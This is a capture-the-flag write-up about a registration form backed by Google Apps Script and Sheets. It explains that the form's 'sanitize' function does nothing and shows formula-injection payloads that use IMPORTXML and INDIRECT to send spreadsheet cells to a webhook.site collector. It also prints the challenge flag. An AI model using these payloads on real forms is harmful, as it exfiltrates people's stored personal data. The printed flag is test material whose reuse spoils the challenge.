The challenge :
we are faced by a registration form, the challenge description says its vibe coded which hint’s that there’s no proper security measures to it
and we are provided with the source code :

the .gs files hint that the registration process and everything works with google scripts etc.. which means that it uses google services:
let’s read the code :
app.js:
async function submitRegistration(payload) { const endpoint = window.APP_CONFIG?.apiUrl;
if (!endpoint) { throw new Error("Add your backend API URL in frontend/config.js."); }
const response = await fetch(endpoint, { method: "POST", headers: { "Content-Type": "application/json", }, body: JSON.stringify(payload), });
const result = await response.json().catch(() => null);
if (!response.ok || result?.ok === false) { throw new Error(result?.message || "Submission failed."); }
return result;}nothing really interesting, sounds like normal registration:
meanwhile in server.js we see the following:
async function forwardToAppsScript(payload) { let forwardResponse;
try { forwardResponse = await fetch(GOOGLE_APPS_SCRIPT_URL, { method: "POST", headers: { "Content-Type": "application/json", }, body: JSON.stringify(payload), }); } catch (error) { const networkError = new Error( `Could not reach Google Apps Script: ${error.message}`, ); networkError.statusCode = 502; throw networkError; }
const result = await readForwardResponse(forwardResponse);
if (!forwardResponse.ok) { const error = new Error( result?.message || `Google Apps Script returned ${forwardResponse.status}.`, ); error.statusCode = 502; throw error; }
if (result && typeof result === "object" && result.ok === false) { const error = new Error( result.message || "Google Apps Script rejected the submission.", ); error.statusCode = 502; throw error; }
return result;}so the google apps script is doing the work, let’s read it:
Code.gs:
const CONFIG = { sheetName: "Main", headers: [ "Timestamp", "First Name", "Last Name", "Email", "Phone", "Date of Birth", "Address", ],};this means that the data is being stored to a spreadsheet with the main sheet named “Main”, and 7 fields are stored,
we can also see the function:
function normalizePayload_(payload) { return { firstName: sanitize_(payload.firstName), lastName: sanitize_(payload.lastName), email: sanitize_(payload.email), phone: sanitize_(payload.phone), dateOfBirth: sanitize_(payload.dateOfBirth), address: sanitize_(payload.address), };}which seems like its sanitizing the data before its stored, but in reality… its not :
function sanitize_(value) { return value === null || value === undefined ? "" : String(value).trim();}there’s no sanitization happening, what this hints to is that there should be some sort of injection to the spreadsheet, but the thing is that we dont have acces to the spreadsheet whatsoever, so we don’t know how to readback what we injected or read anything in the spreadsheet.
the spreadsheet is most likely google sheets since this is using google services.
here comes the hint from the challenge name “from_lib_import_xml”, after looking up “spreadsheet import_xml”, it appears that there’s a function in google sheets called IMPORTXML, what it does is it fetches and parses data from a URL using an XPath query, letting you scrape structured content (like titles, links, or specific elements) directly from a webpage into your sheet, so we need to find a way to exploit it, it’s quite trivial for experienced players, but i found a blog talking about this specific case, Data Exfiltration via Formula Injection
where you use CONCAT, let it visit your website and append your guery after its read from the spread sheet:
this was my initial payload, read ing the column A1:
=IMPORTXML(CONCAT("https://webhook.site/<id>?d=",INDIRECT("A1")),"//a/a10")and we do get a ping back :

“Timestamp”, which if you remember was the first field being registered, so we are reading contents of the spreadsheet, with H being the 7th letter of the alphabet, H1, should return “flag”, with H2 being the flag itself, and yes:
=IMPORTXML(CONCAT("https://webhook.site/<id>?d=",INDIRECT("H2")),"//a/a10")and we get the flag:

flag is ingehack{registeration_form_leakage_846896548998468}
nice chall, shoutout to taki for this challenge